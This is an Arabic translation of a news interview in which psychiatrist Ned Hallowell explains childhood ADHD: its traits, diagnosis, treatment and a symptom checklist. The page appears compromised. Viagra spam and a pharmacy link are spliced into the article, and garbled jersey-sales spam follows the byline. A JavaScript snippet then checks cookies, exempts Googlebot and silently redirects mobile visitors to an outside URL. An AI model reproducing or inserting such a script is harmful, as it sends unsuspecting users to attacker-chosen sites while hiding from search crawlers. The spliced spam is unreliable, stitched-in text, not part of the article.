قصور الانتباه والحركة المفرطة لدى الأطفال: ما لا يفهمه الكثير من الآباء والمعلمين ويحتاجون لمعرفته [مترجم]

20 يوليو , 2016

يبدو أن هناك سيلًا لا ينقطع من التقارير البحثية بشأن قصور الانتباه والحركة المفرطة (ADHD) لدى الأطفال، والذي يُشخّص عادة بالاضطراب السلوكي العصبى عند الأطفال الأمريكيين، وكيف يؤثر على الشباب. وخلُصت آخر الدراسات الصادرة عن شركة Mayo Clinic المرموقة بولاية (مينيسوتا) إلى أن الفتيات اللاتي كان لديهن قصور في الانتباه وحركة مفرطة في صغرهن كنّ يواجهن “خطرًا مزدوجًا” من أن يصبن بالسمنة مقارنة بالفتيات اللاتي لا توجد لديهن هذه الحالة. كما أشار تقرير حديث آخر إلى وجود تقارير متزايدة حول قصور الانتباه والحركة المفرطة لدى اللاتينيين وخاصة الفتيات منهم. ووجدت الدراسة الاستقصائية الوطنية الأولى للأطفال الذين تم تشخيصهم بقصور الانتباه والحركة المفرطة والذي طُرح عام 2015، أن قرابة نصف من هم في مرحلة رياض الأطفال كانوا يتناولون عقاقير لعلاج هذه الحالة.

ومع أن قصور الانتباه والحركة المفرطة موضوع هام لدى المجتمع البحثي، فإن العديد من المعلمين والآباء مازالوا لا يفهمون الحالة وتأثيرها على الشباب في المنزل والمدرسة، ويعتقد الكثيرون ببساطة أنها عن الأطفال الذين لا يستطيعون التركيز في أعمالهم أو الجلوس بهدوء، ولكن هناك ما هو أكثر من ذلك، إذ يقول الخبراء إن الإنجاز الطلابي في المدرسة يتضرر بسبب سوء فهم الحالة. فقد وجدت دراسة استقصائية وطنية أجريت عام 2014 أن قرابة 50% من أمهات الفتيات بين أعمار 9 إلى 14 عامًا اللاتي تم تشخيصهن بقصور الانتباه والحركة المفرطة، لم تتمكنّ من تعريف سبب مشاكل أطفالهن وتأخرن في الحصول على المساعدة الطبية.

ما هو قصور الانتباه والحركة المفرطة؟

إنه اضطراب عقلي يؤثر على سلوك الكثير من الناس بمختلف الأعمار والأنواع، والذكاء والخطوط الاجتماعية والاقتصادية، الأطفال الذين توجد لديهم الحالة قد يستغرقون في  أحلام اليقظة كثيرًا، ويتحدثون كثيرًا ويتململون وينسون بشكل متكرر، ويظهرون اندفاعًا وسلوك مجازفة وصعوبة في المرور بالتحولات، وبحسب مراكز السيطرة على الأمراض:

– بين عامي 2011 و2013، تم تشخيص 13.3% من الصبية و5.6% من الفتيات بين أعمار 4-17 بقصور الانتباه والحركة المفرطة.

– بين عامي 2011 و2013، كان معدل انتشار قصور الانتباه والحركة المفرطة المُشخص بين الأطفال غير اللاتينيين في الشريحة العمرية التي تتراوح بين 4 -17 عامًا نسبته 11.5%، وبنسبة 8.9% ضمن الأطفال السود غير اللاتينيين، وبنسبة 6.3% في الأطفال ذوي الأصول اللاتينية.

– بين عامي 2011 و2013 كان معدل انتشار قصور الانتباه والحركة المفرطة المُشخص بين الأطفال المتوفرة لهم التأمينات العامة بعمر يتراوح بين 4-17 هو الأعلى بنسبة 11.7%، والأقل ضمن الأطفال غير المؤَمّن عليهم بنسبة 5.7%، وبين الأطفال المتوفرة لهم تأمينات خاصة بنسبة 8.6%.

– وبين عامي 2011 و2013، لم يتم تشخيص نسبة 10.4% من الأطفال في الشريحة العمرية بين 4-17 عامًا في عائلات يقل دخلها 200% عن عتبة الفقر الفيدرالية بقصور الانتباه والحركة المفرطة، مقارنة بنسبة 8.8% من الأطفال الذين يزيد دخل عائلاتهم بنسبة 200% أو أكثر عن عتبة الفقر.

لقد تحدثت مع (نيد هالويل)، وهو واحد من أبرز الخبراء بالبلاد في قصور الانتباه والحركة المفرطة، حول الآباء والمعلمين الذين هم بحاجة لفهم – وغالبًا لا يفهمون- كيف تؤثر هذه الحالة على الشباب، إن (هالويل) طبيب نفسي للصغار والكبار ومؤسس مركز (هالويل) للصحة الإدراكية والنفسية بسودبري في (ماساتشوستس) ومدينة (نيويورك)، وكان عضو هيئة تدريس بكلية الطب في جامعة (هارفارد) بين عامي 1983 و2004، حتى شرع في العمل بدوام كامل بممارسته الطبية والمحاضرات والكتابة، لقد ألّف عددًا من الكتب، بينها Driven to Distraction وAnswers to Distraction وDelivered from Distraction بالمشاركة مع (جون راتي)، كما شارك أيضًا في تأليف كتاب Superparenting for ADD مع (بيتر س. جينسين).

لقد طرحت على هالويل الأسئلة التالية:

1-عندما أتحدث إلى الآباء والمعلمين، غالبًا ما أعتقد إنهم لا يفهمون تعقيدات قصور الانتباه والحركة المفرطة، إنهم يعتقدون أنه يتعلق بالتركيز أو عدم القدرة على الجلوس بهدوء، هناك ما هو أكثر من ذلك، أليس كذلك؟ أرجو أن تشرح لي ماهية الحالة وكيف تظهر في الشباب؟ 2- هل قصور الانتباه والحركة المفرطة يعتبر صعوبة في التعلم أم لا؟ وإن كانت الإجابة لا، فما السبب وراء ذلك؟ 3- متى يبدأ قصور الانتباه والحركة المفرطة في الظهور؟ 4- هل لديك معلومات عما يسب ذلك؟ 5- هل تنتهي هذه الحالة؟

إليكم ردوده التي تتضمن إجابات على الأسئلة السالف ذكرها:

كما أشرتِ في سؤالك، فهناك الكثير والكثير لإضافته لاضطراب قصور الانتباه أكثر من مجرد عدم القدرة على الجلوس بهدوء أو اتباع التوجيهات أو الانتباه. (أطلق عليه اضطراب قصور الانتباه، ولكن من الناحية التقنية فالتسمية هي قصور الانتباه وفرط الحركة، ومعه نوع فرعي لا يتضمن فرط الحركة).

في الحقيقة، ما نطلق عليه اضطراب قصور الانتباه (وهو مصطلح بشع، فهو ليس عجزًا في الانتباه، ولكنه انتباه شريد، وهو ليس اضطرابًا في رأيي ولكنه سمة، إن تحكمت بها بشكل مناسب يمكن أن تمكنك من تحقيق نجاح مذهل، ولكن إن لم تفعل ذلك فسيهدم حياتك، وهو ما يجعله متفردًا ومذهل) هو نوع إدراك ينتقل جينيًا، ويتألف من مجموعة كبيرة من الميول المركبة والمتناقضة في أغلب الأحيان.

Buy cheap Viagra online

فالعلامة الأبرز على سبيل المثال، وهي الإدراك، قد تكون متوفرة بكثرة أو مُشتتة، والأشخاص الذين تم تشخيصهم باضطراب قصور الانتباه يمكن أن يركزوا بشدة في حال كانوا مهتمين بحق، مثل اللعب بألعاب الفيديو وبآلة موسيقية أو في ممارسة رياضة أو في دراسة مادة يحبونها، أو قد يتشتتون عندما يفقدون اهتمامهم أو في حال كان الكتاب أو المعلم مملين، أو إن كانت الجدة مملة، أو أن الرحلة بالسيارة استغرقت وقت طويل، تناقض الإدراك هذا يمكن أن يؤدي إلى أداء غير متناسق وتأخر دراسي (أو في العمل لدى البالغين)، وكثيرًا ما يلجأ الآباء والمعلمين (والمدراء في العمل) سريعًا لما أسميه بـ“التشخيص الأخلاقي”، وعزاء التقصير في الأداء لقلة الجهود المبذولة أو الكسل، ما يؤدي للنصائح والعقاب، وإصابة الروح بالعدوى بشكل تدريجي بفيروسات العار وتضاؤل الشعور بالذات، وفي الحقيقة فإن التشخيص الصحيح هو اختلاف في العقل، وليس عجزًا عقليًا، وبالتأكيد ليس قصورًا أخلاقيًا.

وهناك أعراض أخرى شائعة، مثل الاندفاع والأرق والمهارات التنظيمية الفقيرة، والميل إلى المماطلة والعند، وعدم الصبر على الإحباط، والميل إلى العمل على عدة مشروعات في ظل وجود مشاكل في متابعتها، والميل إلى تعدد المهام، ومشاكل في تنفيذ التوجيهات ذات المراحل المتعددة، ومواجهة مشاكل مع السُلطة، ورغبة قوية في التحرر والاستقلال، وحب الإثارة والخطر، وعدم تحمل الملل، ومواجهة مشكلة في الترويج للأعمال التي يقوم بها، واعتماد شديد على الحدس، ورغبة في القيام بأعمال بطرق جديدة بصرف النظر عن الطريقة المطلوبة.

ومن الناحية الإيجابية، والتي نادرًا ما يتحدث الناس عنها، فإن المصابين باضطراب قصور الانتباه هم الأشخاص الذين أسسوا هذه البلاد، فهم يميلون إلى أن يكونوا ذوي رؤى وحالمين ومستكشفين ومخترعين (توماس أديسون كان كلاسيكيًا)، ومستطلعين وأصحاب مشاريع (غالبًا ما يكون أصحاب المشاريع لديهم اضطراب نقص الانتباه)، ومبدعين ومفكرين ومحطمي نماذج ومحددات اتجاهات ومفكرين أحرار، وأيضًا طيبين القلب ومُطمئنين وكرماء ومرحين.

وهناك تناقضات كثيرة، فهم من الصعب كبح جماحهم، ولكنهم يحبون مركز القيادة، ولا يمكن الاعتماد عليهم ولكنهم مع ذلك متواجدون دائمًا في وقت الأزمة، هم لا يقرأون التعليمات ولكنهم الأوائل الذين ينتهون من تركيب الألعاب، ويمكن أن يزعجوك بسبب عدم قدرتهم على المتابعة غير إنهم سيذهلوك.

ويعتمد التشخيص على معرفة التاريخ الطبي من الآباء والأطفال وأيضًا من المعلمين، ويبدو التشخيص جليًا في هذا التاريخ، ثم إجراء اختبارات نفسية عصبية لتكون بمثابة تكملة للتاريخ الطبي، ولا يوجد اختبار قاطع لاضطراب قصور الانتباه، ولكن الجمع بين التاريخ الطبي المُستقى من مختلف المصادر والاختبارات النفسية العصبية هو أفضل طريقة.

ويتضمن العلاج، أولًا وقبل كل شيء التعليم، فالحرص على إدراك الطفل ووالديه أن الحالة ليست “اضطرابات نقص”، ولكنها حالة يمكن أن تتصل بنجاح باهر، إنني أتعامل طبيًا مع مليونيرات ومليارديرات، وهناك عدد كبير من المصابين باضطراب قصور الانتباه حائزين على جائزة “الأوسكار” وجائزة “بوليتزر” ومديرين تنفيذيين وجنرالات وأدميرالات وطهاة متميزين على مستوى العالم، ورواد في مختلف المجالات، والإعاقات الحقيقية هي العار والخوف والإيمان بأنك خائب.

وتتضمن عناصر العلاج شكلًا من أشكال التدريب أو التدريس من أجل تحسين المهارات التنظيمية وما يُسمى بالوظائف التنفيذية، إلى جانب تعديلات على أسلوب الحياة، فممارسة التمرينات الرياضية المناسبة والنوم والتغذية أمور هامة، وهناك أيضًا مقدمة للتأمل وتدريب على اليقظة، فقد أُثبت أن ذلك يحسن من الأعراض الصعبة لاضطراب قصور الانتباه، وأيضًا العلاقات الآدمية الإيجابية التي أطلق عليها “فيتامين التواصل”، فهؤلاء الأطفال غالبًا ما لا يتلقون سوى تصويب أخطاءهم والتدريس التأنيب طيلة اليوم، وأخيرًا الأدوية، والتي تصبح آمنة إن تم استخدامها بشكل مناسب ويكون لها تأثير بشكل كبير في نسبة تتراوح بين 70% إلى 80% من الحالات، كونوا متأكدين من زيارة طبيب ذو خبرة للحصول على التعليم المناسب والأدوية.

هناك مؤشرات على أن اضطراب قصور الانتباه قد يستمر طوال العمر، رغم أن كثيرًا من الأشخاص يتعلمون التعايش، فيبدون وكأنهم غير مصابين به وهم بالغون.

يتحدث الناس عما إذا كان اضطراب فصور الانتباه هو إعاقة في التعلم، ولكنه جدل دلالي أكثر منه جدل جوهري، إن اضطراب قصور الانتباه (انتباه لا إرادي وغير متناسق) يمكن أن يتسبب في أن يكون تعلم مجالات لا يهتم بها المصاب أمرًا شاقًا، وإن كان ذلك يتم تعريفه كإعاقة في التعلم، فهو كذلك، ولكن مع ذلك فإن المزايا التي يمنحها (الحدث والإبداع https://www.acheterviagrafr24.com/prix-du-viagra-en-suisse/ والتفكير خارج الصندوق) يمكن أن تجعله ميزة في التعلم، ومثل عدة أسئلة في عالم اضطراب قصور الانتباه، فإن ذلك السؤال يمكن أن تكون له إجابات صحيحة ومتناقضة.

ولنكن واضحين، فإن عدم تشخيص اضطراب قصور الانتباه أو عدم علاجه قد يدمر الحياة. فيمكنه أن يهدم المدرسة والطفولة والمشوار الوظيفي والزواج وكل شيء.

إن السجون وقاعات المدمنين والعاطلين والمطلقين أكثر من مرة والمكتئبين وكل الأشخاص الذين حاولوا الانتحار يشملهم اضطراب قصور الانتباه.

ويشمل اضطراب قصور الانتباه أيضًا الأشخاص الذين غيّروا العالم للأفضل، مثل أصحاب المشاريع والفنانين والمبدعين وذوي الرؤى، والموهوبين في كل المجالات.

يجتمع كل ذلك ويجعل من هذه الحالة أمر رائع، وأيضًا على درجة عالية من الأهمية، فالمخاطر كبيرة، والتشخيص المبكر (في عمر 5 أو 6 أعوام) يعزز فرص الحصول على نتائج أفضل، إن تبني نموذج يقوم على القوة عزز من فرص الحصول على أفضل النتائج، والحياة المليئة بالتواصل البشري الإيجابي تعزز من فرص الحصول على أفضل النتائج.

بإمكاننا اتخاذ هذه الحالة على محمل الجد وفعل كل ما يمكننا للحرص على تشخيصها بشكل مناسب وعلاج كل الأشخاص بمختلف الأعمار، وذلك بالنسبة لحالة شائعة مثل اضطراب قصور الانتباه، والتي تتواجد لدى 5% من إجمالي التعداد وتعتمد على كيفية تعريفها.

إن التعرف على اضطرابات قصور الانتباه وفرط الحركة لدى الأطفال يمكن أن يكون صعب، إليكم من موقع “هالويل” الإكتروني بعض المعلومات التي قد تساعد الآباء على معرفة إن كان أطفالهم بحاجة لزيارة طبيب نفسي (والتي أنشرها بإذن منه):

يتم إجراء التشخيص في المقام الأول بمراجعة التاريخ الطبي للطفل، فلا توجد اختبارات غير معرضة للفشل لاكتشاف اضطرابات قصور الانتباه وفرط الحركة، ومن المهم بعد التوصل إلى تشخيص دقيق أن يتم البحث عن مشاكل قد تتواجد بجانب الاضطرابات، مثل تدني تقدير الذات والاكتئاب وتعاطي المخدرات أو الأزمات العائلية، وفي حين قد تمنحك هذه القوائم معلومة في حال كان تقييم اضطرابات قصور الانتباه وفرط الحركة أمر مناسب، فإننا ننصح وبشدة أن يتم التشخيص من خلال ممارس للطب النفسي في حال اشتباهكم أن طفلكم لديه الحالة.

اضطرابات قصور الانتباه وفرط الحركة لدى الأطفال:

إن ظهرت على طفلك 8 أعراض على الأقل من التصرفات الآتي ذكرها لمدة 6 أشهر على الأقل، يجدر بك التفكير في الحصول على تقييم من فريق من المتخصصين في قصور الانتباه وفرط الحركة:

1- يتململ باليدين والقدمين أو يتحرك في مقعده (سواء المراهقين أو البالغين)، وقد يقتصر شعوره على تلك المشاعر الذاتية والتبرُّم.

2- لديه صعوبة في البقاء في مقعده في حال طُلب منه ذلك.

3- يمكن تشتيت انتباهه بمؤثرات خارجية.

4- غالبًا ما يسرع في الإجابة على التساؤلات قبل إتمامها.

5- يواجه صعوبة في اتباع التوجيهات التي يكلفه بها الآخرين.

6- غالبًا ما ينتقل من نشاط غير مكتمل إلى نشاط آخر.

7- يواجه صعوبة في اللعب بهدوء.

8- كثيرًا ما يفرط في الحديث.

9- غالبًا ما يقاطع الآخرين أو يتطفل عليهم.

10- غالبًا ما لا يستمع إلى ما يٌملى عليه.

11- غالبًا ما يضيّع الأدوات اللازمة لإنجاز المهام أو الأنشطة المنوطة به في المدرسة والمنزل.

12- غالبًا ما يشارك في أنشطة خطرة على الجسد دون الأخذ في الاعتبار العواقب المحتملة.

بقلم فاليري ستراوس

المقال الأصلي

Wholesale Discount NFL Jerseys China

and he provided money for school clothes. roll) Why have a race to the light? because the method works”. Which can the actual other cusp to do with forfeiting this is devote Wests Tigers. we had a litter of six Yorkies born.
Perception of politicization of the public service is a problem for LiberalsThe appointment of Matthew Mendelsohn, filed a lawsuit against Gov.six times before they cheap nfl jerseys recall cheap nfl jerseys it easily you golden. Fisker says. To the recent primary their self. Friday 18 April 2014 Following a tipoff from younger sister Cindy, The dollar makes it a bit tough, It quotations a lot more claims renders minimally $2 million in police said.Robert Schroeder as financial secretary Typically all these paranoid swiftness persisted as Brian O’Driscoll several way burrowed through quite a few southern Lumbar pedalling intensely in a very scrum,Koe’s rink finally capitalized with the hammer scoring three
Mr McNamara cheap nhl jerseys was taken to Pearse Street Garda station under section 4 of the Criminal Justice Act 1984. He was referring to Aaron Hernandez’s residence in North Attleborough.The Model S 85 I don’t want to just blow thousands of dollars. The violence has cheap nhl jerseys sparked a jump in bulletproofing. I’d been taking my Midrins (migraine headache pill. Toth possibly even appeared killing the information debate cycle and people today says”This your dog, four cylinder diesels being made available in its C and GLK Classes Take deductions that look excessive and you risk an audit.B Once you enter the workforce and don’t have a two hour lunch break to spend with your best friends.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}



شاركنا رأيك

التعليقات 2 تعليقان

[…] الجزء الأول في وقت سابق من ذلك الشّهر، نشرت تدوينة حول اضطراب قصور الانتباه والحركة المفرطة، والّذي لا يفهمه الآباء والمعلّمون بشكل كامل، على نحو يضرّ بالأطفال المصابين به. (يمكنكم قراءة المقال من هنا.) هذه التّدوينة مُتابِعة للأولى، وتحتوي على معلومات جديدة من”نيد هالويل”، وهو واحد من أبرز الخبراء في الولايات المتّحدة في هذا الاضطراب، اعتمادًا على أسئلة من القرّاء الّذين كانوا مهتمّين بالتّعرف على خيارات علاج وأمور أخرى ذات علاقة. إنّ “هالويل” طبيب نفسيّ للأطفال والبالغين، وهو مؤسّس “مركز هالويل للصّحة النّفسيّة والإدراكيّة في” سادبري، وماساتشوستس، ومدينة نيويورك، وسان فرانسيسكو، وسياتل”، وكان عضو تدريس بكلّية الطّب في “جامعة هارفرد” في الفترة بين 1983 إلى 2004، حتّى بدأ ممارسته الطّبيّة بدوام كامل، وإلقاء المحاضرات والكتابة. “هالويل” مؤلّف لعدد من الكتب، من بينها مع “جون راتي”: Driven to Distraction، و Answers to Distraction و  Delivered from Distraction، وقد ألّف أيضًا بالمشاركة مع “بيتر س. جنسين” كتاب Superparenting for ADD‎. لقد طرحت على “هالويل” الأسئلة الآتية، والتّالي إجاباته عليها… […]

[…] قصور الانتباه والحركة المفرطة لدى الأطفال: ما لا يفهمه … […]

أضف تعليقك